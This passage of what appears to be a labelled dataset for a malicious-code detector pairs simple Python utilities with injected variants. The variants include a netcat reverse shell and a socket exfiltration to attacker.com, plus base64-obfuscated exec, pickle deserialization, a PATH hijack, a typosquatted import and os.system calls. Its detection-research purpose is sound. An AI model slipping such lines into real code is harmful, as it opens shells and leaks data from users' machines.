\"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_5d44167d", + "type": "functional", + "code_snippet": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_41e1b0dc", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_5a4e3d5e", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_d913993b", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_0efdc03e", + "type": "functional", + "code_snippet": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_b15ca24d", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_9e144534", + "type": "functional", + "code_snippet": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_21fc5ceb", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_ab7e098c", + "type": "functional", + "code_snippet": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_6752ddc7", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_d15cfb60", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_76e3eaa6", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_e3c31387", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_6481ea33", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_481c6a3a", + "type": "functional", + "code_snippet": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_fd9b1ef1", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_ebf750f9", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_aef0d769", + "type": "functional", + "code_snippet": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_86d8db60", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_f64477c7", + "type": "functional", + "code_snippet": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_bae7c0ff", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_5eae8a08", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_ca6f1e5c", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_419618ca", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_6e3f18a4", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_d53ac5fc", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_164825f7", + "type": "functional", + "code_snippet": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_2d99968e", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_4147f0b2", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_b71bafbb", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_001e13ea", + "type": "functional", + "code_snippet": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_4b747aaf", + "type": "functional", + "code_snippet": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_75fe4355", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_56a1de8a", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fn_0282d0ec", + "type": "functional", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_83070b57", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_8e3cf60f", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_2a4da7b4", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fp_7ce3250d", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_6a27235e", + "type": "functional", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_2e9c5483", + "type": "functional", + "code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_6a17deb0", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_20bb3bb0", + "type": "functional", + "code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_2ea372f0", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fp_7ed040b8", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_add87321", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_66b1ea3b", + "type": "functional", + "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_2f3fffca", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + 